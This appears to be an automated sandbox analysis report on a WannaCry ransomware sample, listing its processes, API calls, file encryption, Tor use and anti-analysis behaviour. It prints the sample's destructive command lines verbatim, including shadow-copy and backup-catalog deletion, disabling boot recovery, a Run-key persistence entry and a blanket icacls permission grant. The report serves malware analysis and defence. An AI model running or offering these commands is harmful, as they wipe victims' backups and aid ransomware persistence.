Source: C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe	Process created: C:\ProgramData\ywepvofkuzu108\TaskData\Tor\taskhsvc.exe TaskData\Tor\taskhsvc.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe @WanaDecryptor@.exe vs
Source: C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Source: C:\ProgramData\ywepvofkuzu108\taskse.exe	Process created: C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v 'ywepvofkuzu108' /t REG_SZ /d '\'C:\ProgramData\ywepvofkuzu108\tasksche.exe\'' /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin delete shadows /all /quiet
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic shadowcopy delete
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {default} bootstatuspolicy ignoreallfailures
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {default} recoveryenabled no
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbadmin.exe wbadmin delete catalog -quiet
Source: C:\ProgramData\ywepvofkuzu108\taskse.exe	Process created: unknown unknown

Uses an in-process (OLE) Automation server

Show sources

Source: C:\mssecsvc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{DCB00C01-570F-4A9B-8D69-199FDBA5723B}\InProcServer32

Contains functionality to launch a process as a different user

Show sources

Source: C:\ProgramData\ywepvofkuzu108\taskse.exe

Code function: 21_2_00401000 Sleep,GetModuleHandleA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetModuleHandleA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetModuleHandleA,LoadLibraryA,GetProcAddress,GetProcAddress,GetModuleHandleA,LoadLibraryA,GetProcAddress,AdjustTokenPrivileges,_local_unwind2,CreateProcessAsUserA,WaitForSingleObject,_local_unwind2,

21_2_00401000

Creates files inside the system directory

Show sources

Source: C:\mssecsvc.exe

File created: C:\WINDOWS\tasksche.exe

Creates mutexes

Show sources

Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	Mutant created: \BaseNamedObjects\MsWinZonesCacheCounterMutexA
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	Mutant created: \BaseNamedObjects\Global\MsWinZonesCacheCounterMutexA0

Deletes Windows files

Show sources

Source: C:\ProgramData\ywepvofkuzu108\TaskData\Tor\taskhsvc.exe

File deleted: C:\Windows\System32\config\systemprofile\AppData\Roaming\tor\unverified-microdesc-consensus

Enables security privileges

Show sources

Source: C:\Windows\System32\wbengine.exe

Process token adjusted: Security

Found potential string decryption / allocating functions

Show sources

Source: C:\ProgramData\ywepvofkuzu108\TaskData\Tor\taskhsvc.exe

Code function: String function: 00316562 appears 35 times

PE file contains executable resources (Code or Archives)

Show sources

Source: mssecsvc.exe	Static PE information: Resource name: R type: PE32 executable (GUI) Intel 80386, for MS Windows
Source: tasksche.exe.3048.dr	Static PE information: Resource name: XIA type: Zip archive data, at least v2.0 to extract
Source: tasksche.exe.3216.dr	Static PE information: Resource name: XIA type: Zip archive data, at least v2.0 to extract

Reads the hosts file

Show sources

Source: C:\mssecsvc.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\mssecsvc.exe	File read: C:\Windows\System32\drivers\etc\hosts

Sample file is different than original file name gathered from version info

Show sources

Source: mssecsvc.exe	Binary or memory string: OriginalFilenamewshtcpip.dll.muij% vs mssecsvc.exe
Source: mssecsvc.exe	Binary or memory string: OriginalFilenamewship6.dll.muij% vs mssecsvc.exe
Source: mssecsvc.exe	Binary or memory string: OriginalFilenamediskpart.exej% vs mssecsvc.exe
Source: mssecsvc.exe	Binary or memory string: OriginalFilenamediskpart.exej% vs mssecsvc.exe
Source: mssecsvc.exe	Binary or memory string: OriginalFilenamewshtcpip.dll.muij% vs mssecsvc.exe
Source: mssecsvc.exe	Binary or memory string: OriginalFilenamewship6.dll.muij% vs mssecsvc.exe
Source: mssecsvc.exe	Binary or memory string: OriginalFilenamediskpart.exej% vs mssecsvc.exe
Source: mssecsvc.exe	Binary or memory string: OriginalFilenamelhdfrgui.exej% vs mssecsvc.exe

Uses reg.exe to modify the Windows registry

Show sources

Source: unknown

Process created: C:\Windows\System32\reg.exe reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v 'ywepvofkuzu108' /t REG_SZ /d '\'C:\ProgramData\ywepvofkuzu108\tasksche.exe\'' /f

PE file contains more sections than normal

Show sources

Source: libevent_core-2-0-5.dll.3408.dr	Static PE information: Number of sections : 17 > 10
Source: libeay32.dll.3408.dr	Static PE information: Number of sections : 18 > 10
Source: libevent-2-0-5.dll.3408.dr	Static PE information: Number of sections : 17 > 10

Potential malicious VBS script found (suspicious strings)

Show sources

Source: C:\Windows\System32\cmd.exe

Dropped file: SET ow = WScript.CreateObject("WScript.Shell")

HIPS / PFW / Operating System Protection Evasion:

Contains functionality to create a new security descriptor

Show sources

Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe

Code function: 5_2_10001360 time,AllocateAndInitializeSid,time,CheckTokenMembership,FreeSid,

5_2_10001360

Anti Debugging:

Contains functionality to register its own exception handler

Show sources

Source: C:\ProgramData\ywepvofkuzu108\TaskData\Tor\taskhsvc.exe

Code function: 19_2_001C11FD SetUnhandledExceptionFilter,_acmdln,malloc,strlen,malloc,memcpy,__initenv,_cexit,_amsg_exit,_initterm,exit,

19_2_001C11FD

Checks for kernel debuggers (NtQuerySystemInformation(SystemKernelDebuggerInformation))

Show sources

Source: C:\mssecsvc.exe

System information queried: KernelDebuggerInformation

Contains functionality to dynamically determine API calls

Show sources

Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe

5_2_100011D0

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Show sources

Source: C:\Windows\tasksche.exe

Code function: 3_2_004029CC free,GetProcessHeap,HeapFree,

3_2_004029CC

Malware Analysis System Evasion:

Contains functionality to enumerate / list files inside a directory

Show sources

Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	Code function: 5_2_10002300 CloseHandle,SHGetFolderPathW,??2@YAPAXI@Z,swprintf,FindFirstFileW,??3@YAXPAX@Z,??3@YAXPAX@Z,wcscmp,wcscmp,wcscmp,swprintf,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,wcslen,?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@PBGI@Z,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,wcscmp,wcscmp,wcscmp,wcsncpy,wcsncpy,wcsncpy,FindNextFileW,FindClose,_wcsnicmp,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,	5_2_10002300
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	Code function: 5_2_10004A40 CloseHandle,SHGetFolderPathW,wcslen,SHGetFolderPathW,SHGetFolderPathW,wcslen,wcsrchr,wcschr,SHGetFolderPathW,wcslen,wcsrchr,swprintf,FindFirstFileW,wcscmp,wcscmp,swprintf,wcscmp,swprintf,FindNextFileW,FindClose,	5_2_10004A40
Source: C:\ProgramData\ywepvofkuzu108\taskdl.exe	Code function: 10_2_00401080 GetDriveTypeW,Sleep,swprintf,swprintf,FindFirstFileW,swprintf,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,wcslen,?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N@Z,?_Eos@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXI@Z,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,FindNextFileW,FindClose,DeleteFileW,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,DeleteFileW,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,	10_2_00401080
Source: C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe	Code function: 14_2_004080C0 __p___argv,FindFirstFileA,fopen,fread,sscanf,fopen,fread,fclose,FindNextFileA,FindClose,sprintf,#537,#537,	14_2_004080C0
Source: C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe	Code function: 14_2_004026B0 swprintf,FindFirstFileW,#825,#825,wcscmp,wcslen,wcscmp,wcscmp,swprintf,GetFileAttributesW,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,wcslen,?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@PBGI@Z,wcscmp,wcscmp,wcscmp,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,wcslen,?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@PBGI@Z,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,FindNextFileW,FindClose,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,swprintf,swprintf,DeleteFileW,swprintf,DeleteFileW,#825,#825,	14_2_004026B0
Source: C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe	Code function: 14_2_00403CB0 FindFirstFileA,SendMessageA,SendMessageA,sscanf,fopen,fread,sprintf,SendMessageA,#823,SendMessageA,fclose,FindNextFileA,FindClose,	14_2_00403CB0
Source: C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe	Code function: 18_1_004080C0 __p___argv,FindFirstFileA,fopen,fread,sscanf,fopen,fread,fclose,FindNextFileA,FindClose,sprintf,#537,#537,	18_1_004080C0
Source: C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe	Code function: 18_1_004026B0 swprintf,FindFirstFileW,#825,#825,wcscmp,wcslen,wcscmp,wcscmp,swprintf,GetFileAttributesW,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,wcslen,?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@PBGI@Z,wcscmp,wcscmp,wcscmp,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,wcslen,?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@PBGI@Z,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,FindNextFileW,FindClose,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,swprintf,swprintf,swprintf,#825,#825,	18_1_004026B0
Source: C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe	Code function: 18_1_00403CB0 FindFirstFileA,SendMessageA,SendMessageA,sscanf,fopen,fread,sprintf,SendMessageA,#823,SendMessageA,fclose,FindNextFileA,FindClose,	18_1_00403CB0
Source: C:\ProgramData\ywepvofkuzu108\taskdl.exe	Code function: 23_1_00401080 GetDriveTypeW,Sleep,swprintf,swprintf,FindFirstFileW,swprintf,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,wcslen,?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N@Z,?_Eos@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXI@Z,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,FindNextFileW,FindClose,DeleteFileW,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,DeleteFileW,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,	23_1_00401080

May try to detect the virtual machine to hinder analysis (VM artifact strings found in memory)

Show sources

Source: taskhsvc.exe	Binary or memory string: 9bdnPNObPosMJgjNTFNQ7GrneqcJovXdxnKaDfQMDU2QMnaVIpZWJmCVmciOUzku
Source: taskhsvc.exe	Binary or memory string: ntor-onion-key 98xF42/leL0gt7INkbMlQemUc3uYYiQzK1dmPR0afWA=
Source: taskhsvc.exe	Binary or memory string: r385m+l2iI6U+RBB9ZGf2qEmUhX1m22Ub04mANu8v5MhjaK9Cr/9AgMBAAE=
Source: taskhsvc.exe	Binary or memory string: id ed25519 vA9zbcE+2YhiQRkUAt5LvMCijbpUW4Op15qrMlKqy+s
Source: taskhsvc.exe	Binary or memory string: ntor-onion-key cs1j8xs837ZvQVZiX90H7gHk20kQeMUz/RYOKuTJRHs=

Queries a list of all running processes

Show sources

Source: C:\ProgramData\ywepvofkuzu108\TaskData\Tor\taskhsvc.exe

Process information queried: ProcessInformation

Checks the free space of harddrives

Show sources

Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File Volume queried: C:\ FullSizeInformation

Contains long sleeps (>= 3 min)

Show sources

Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe

Thread delayed: delay time: -1000

Enumerates the file system

Show sources

Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File opened: C:\Users\All Users\Adobe\Acrobat\11.0\~SD874C.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File opened: C:\Users\All Users\Adobe\Acrobat\~SD874B.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File opened: C:\Users\All Users\~SD8739.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File opened: C:\Users\All Users\Adobe\Acrobat\11.0\Replicate\Security\~SD874E.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File opened: C:\Users\All Users\Adobe\Acrobat\11.0\Replicate\~SD874D.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File opened: C:\Users\All Users\Adobe\~SD874A.tmp

Found dropped PE file which has not been started or loaded

Show sources

Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	Dropped PE file which has not been started: C:\Users\Default\Desktop\@WanaDecryptor@.exe
Source: C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe	Dropped PE file which has not been started: C:\ProgramData\ywepvofkuzu108\TaskData\Tor\libevent_core-2-0-5.dll
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	Dropped PE file which has not been started: C:\Users\Public\Desktop\@WanaDecryptor@.exe
Source: C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe	Dropped PE file which has not been started: C:\ProgramData\ywepvofkuzu108\TaskData\Tor\libevent_extra-2-0-5.dll

Found large amount of non-executed APIs

Show sources

Source: C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe

API coverage: 7.6 %

May sleep (evasive loops) to hinder dynamic analysis

Show sources

Source: C:\mssecsvc.exe TID: 3092	Thread sleep time: -60000s >= -60s
Source: C:\mssecsvc.exe TID: 3200	Thread sleep time: -60000s >= -60s
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe TID: 3244	Thread sleep time: -500s >= -60s
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe TID: 3300	Thread sleep count: 158 > 30
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe TID: 3300	Thread sleep time: -158000s >= -60s
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe TID: 3312	Thread sleep count: 31 > 30
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe TID: 3312	Thread sleep time: -93000s >= -60s
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe TID: 3304	Thread sleep time: -95000s >= -60s
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe TID: 3244	Thread sleep count: 77 > 30
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe TID: 3244	Thread sleep time: -770s >= -60s
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe TID: 3328	Thread sleep time: -180000s >= -60s
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe TID: 3244	Thread sleep time: -30000s >= -60s
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe TID: 3312	Thread sleep time: -3000s >= -60s
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe TID: 3304	Thread sleep time: -5000s >= -60s
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe TID: 3328	Thread sleep time: -30000s >= -60s
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe TID: 3316	Thread sleep time: -30000s >= -60s
Source: C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe TID: 3460	Thread sleep time: -10000s >= -60s
Source: C:\ProgramData\ywepvofkuzu108\taskse.exe TID: 3520	Thread sleep time: -200s >= -60s
Source: C:\Windows\System32\vssadmin.exe TID: 3684	Thread sleep time: -60000s >= -60s
Source: C:\Windows\System32\wbem\WMIC.exe TID: 3796	Thread sleep time: -60000s >= -60s
Source: C:\Windows\System32\wbadmin.exe TID: 3868	Thread sleep time: -60000s >= -60s
Source: C:\Windows\System32\wbengine.exe TID: 3916	Thread sleep time: -60000s >= -60s
Source: C:\ProgramData\ywepvofkuzu108\taskse.exe TID: 3912	Thread sleep time: -200s >= -60s
Source: C:\Windows\System32\vdsldr.exe TID: 3932	Thread sleep time: -1000s >= -60s
Source: C:\Windows\System32\vdsldr.exe TID: 3968	Thread sleep time: -60000s >= -60s

Found evasive API chain (may stop execution after checking mutex)

Show sources

Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe

Evasive API call chain: CreateMutex,DecisionNodes,Sleep

graph_5-1483

Hooking and other Techniques for Hiding and Protection:

Disables application error messsages (SetErrorMode)

Show sources

Source: C:\mssecsvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\ywepvofkuzu108\taskse.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\ywepvofkuzu108\taskse.exe	Process information set: NOOPENFILEERRORBOX

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Show sources

Source: C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe	Code function: 14_2_004067F0 IsIconic,#470,SendMessageA,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetClientRect,DrawIcon,#755,#2379,		14_2_004067F0
Source: C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe	Code function: 18_1_004067F0 IsIconic,#470,SendMessageA,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetClientRect,DrawIcon,#755,#2379,		18_1_004067F0

Extensive use of GetProcAddress (often used to hide API calls)

Show sources

Source: C:\ProgramData\ywepvofkuzu108\taskse.exe

21_2_00401000

Creates files inside the volume driver (system volume information)

Show sources

Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe

File created: C:\System Volume Information\~SD8733.tmp

May use the Tor software to hide its network traffic

Show sources

Source: taskhsvc.exe

Binary or memory string: onion-port

Uses cacls to modify the permissions of files

Show sources

Source: unknown

Process created: C:\Windows\System32\icacls.exe icacls . /grant Everyone:F /T /C /Q

Lowering of HIPS / PFW / Operating System Security Settings:

Overwrites Mozilla Firefox settings

Show sources

Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File written: C:\Users\luketaylor\AppData\Roaming\Mozilla\Firefox\Profiles\22qkc0w7.default\revocations.txt.WNCRYT
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File written: C:\Users\luketaylor\AppData\Roaming\Mozilla\Firefox\Profiles\22qkc0w7.default\cert8.db.WNCRYT
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File written: C:\Users\luketaylor\AppData\Roaming\Mozilla\Firefox\Profiles\22qkc0w7.default\key3.db.WNCRYT
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File written: C:\Users\luketaylor\AppData\Roaming\Mozilla\Firefox\Profiles\22qkc0w7.default\prefs.js.WNCRYT
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File written: C:\Users\luketaylor\AppData\Roaming\Mozilla\Firefox\Profiles\22qkc0w7.default\secmod.db.WNCRYT
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File written: C:\Users\luketaylor\AppData\Roaming\Mozilla\Firefox\Profiles\22qkc0w7.default\sessionstore.js.WNCRYT
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File written: C:\Users\luketaylor\AppData\Roaming\Mozilla\Firefox\Profiles\22qkc0w7.default\sessionstore-backups\previous.js.WNCRYT
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File written: C:\Users\luketaylor\AppData\Roaming\Mozilla\Firefox\Profiles\22qkc0w7.default\cert_override.txt.WNCRYT
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File written: C:\Users\luketaylor\AppData\Roaming\Mozilla\Firefox\Profiles\22qkc0w7.default\SiteSecurityServiceState.txt.WNCRYT

Language, Device and Operating System Detection:

Contains functionality to query local / system time

Show sources

Source: C:\ProgramData\ywepvofkuzu108\TaskData\Tor\taskhsvc.exe

Code function: 19_2_0032FC04 GetSystemTimeAsFileTime,exit,__stack_chk_fail,

19_2_0032FC04

Contains functionality to query the account / user name

Show sources

Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe

Code function: 5_2_10004F20 swprintf,swprintf,MultiByteToWideChar,CopyFileW,CopyFileW,GetUserNameW,_wcsicmp,SystemParametersInfoW,swprintf,CopyFileW,

5_2_10004F20

Contains functionality to query time zone information

Show sources

Source: C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe

Code function: 14_2_00406F80 SendMessageA,CreateSolidBrush,CreateSolidBrush,#1641,CreateSolidBrush,#1641,CreateSolidBrush,#1641,CreateSolidBrush,#1641,CreateSolidBrush,#1641,CreateSolidBrush,#1641,CreateSolidBrush,#1641,CreateSolidBrush,#1641,CreateSolidBrush,#1641,CreateSolidBrush,#1641,CreateFontA,CreateFontA,#1641,CreateFontA,#1641,CreateFontA,#1641,#3092,SendMessageA,SendMessageA,#3092,SendMessageA,#3092,SendMessageA,#3092,SendMessageA,#3092,SendMessageA,#3092,SendMessageA,#3092,SendMessageA,#3092,SendMessageA,#3092,SendMessageA,#3092,SendMessageA,#3092,SendMessageA,#860,#537,#537,#540,#2818,#535,#2818,#535,SendMessageA,SendMessageA,#6140,#6140,GetTimeZoneInformation,SystemTimeToTzSpecificLocalTime,SystemTimeToTzSpecificLocalTime,#2818,SystemTimeToTzSpecificLocalTime,#2818,#6334,#800,

14_2_00406F80

Queries the cryptographic machine GUID

Show sources

Source: C:\mssecsvc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Contains functionality locales information (e.g. system language)

Show sources

Source: C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe	Code function: SendMessageA,GetUserDefaultLangID,GetLocaleInfoA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,		14_2_00406C20
Source: C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe	Code function: SendMessageA,GetUserDefaultLangID,GetLocaleInfoA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,		18_1_00406C20

Queries the volume information (name, serial number etc) of a device

Show sources

Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\cscript.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\cscript.exe	Queries volume information: C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe VolumeInformation

Behavior Graph

Yara Overview

No Yara matches

Screenshot

Startup

system is w7_1

mssecsvc.exe (PID: 3048 cmdline: 'C:\mssecsvc.exe' MD5: DB349B97C37D22F5EA1D1841E3C89EB4)

tasksche.exe (PID: 3216 cmdline: C:\WINDOWS\tasksche.exe /i MD5: 84C82835A5D21BBCF75A61706D8AB549)

mssecsvc.exe (PID: 3164 cmdline: C:\mssecsvc.exe -m security MD5: DB349B97C37D22F5EA1D1841E3C89EB4)

cmd.exe (PID: 3232 cmdline: cmd.exe /c 'C:\ProgramData\ywepvofkuzu108\tasksche.exe' MD5: AD7B9C14083B52BC532FBA5948342B98)

tasksche.exe (PID: 3240 cmdline: C:\ProgramData\ywepvofkuzu108\tasksche.exe MD5: 84C82835A5D21BBCF75A61706D8AB549)

attrib.exe (PID: 3248 cmdline: attrib +h . MD5: 459A5755AFBB1CB3E67CA4C1296599E3)

icacls.exe (PID: 3256 cmdline: icacls . /grant Everyone:F /T /C /Q MD5: 1542A92D5C6F7E1E80613F3466C9CE7F)

taskdl.exe (PID: 3320 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

cmd.exe (PID: 3336 cmdline: C:\Windows\system32\cmd.exe /c 239891494608079.bat MD5: AD7B9C14083B52BC532FBA5948342B98)

cscript.exe (PID: 3356 cmdline: cscript.exe //nologo m.vbs MD5: A3A35EE79C64A640152B3113E6E254E2)

@WanaDecryptor@.exe (PID: 3408 cmdline: @WanaDecryptor@.exe co MD5: 7BF2B57F2A205768755C07F238FB32CC)

taskhsvc.exe (PID: 3500 cmdline: TaskData\Tor\taskhsvc.exe MD5: FE7EB54691AD6E6AF77F8A9A0B6DE26D)

cmd.exe (PID: 3416 cmdline: cmd.exe /c start /b @WanaDecryptor@.exe vs MD5: AD7B9C14083B52BC532FBA5948342B98)

@WanaDecryptor@.exe (PID: 3456 cmdline: @WanaDecryptor@.exe vs MD5: 7BF2B57F2A205768755C07F238FB32CC)

cmd.exe (PID: 3628 cmdline: cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet MD5: AD7B9C14083B52BC532FBA5948342B98)

vssadmin.exe (PID: 3660 cmdline: vssadmin delete shadows /all /quiet MD5: 6E248A3D528EDE43994457CF417BD665)

WMIC.exe (PID: 3776 cmdline: wmic shadowcopy delete MD5: A03CF3838775E0801A0894C8BACD2E56)

bcdedit.exe (PID: 3804 cmdline: bcdedit /set {default} bootstatuspolicy ignoreallfailures MD5: ABD373E82F6240031C1E631AA20711C7)

bcdedit.exe (PID: 3812 cmdline: bcdedit /set {default} recoveryenabled no MD5: ABD373E82F6240031C1E631AA20711C7)

wbadmin.exe (PID: 3824 cmdline: wbadmin delete catalog -quiet MD5: EAB630E7E6A7FC248870A2FCDC098B98)

taskse.exe (PID: 3516 cmdline: taskse.exe C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe MD5: 8495400F199AC77853C53B5A3F278F3E)

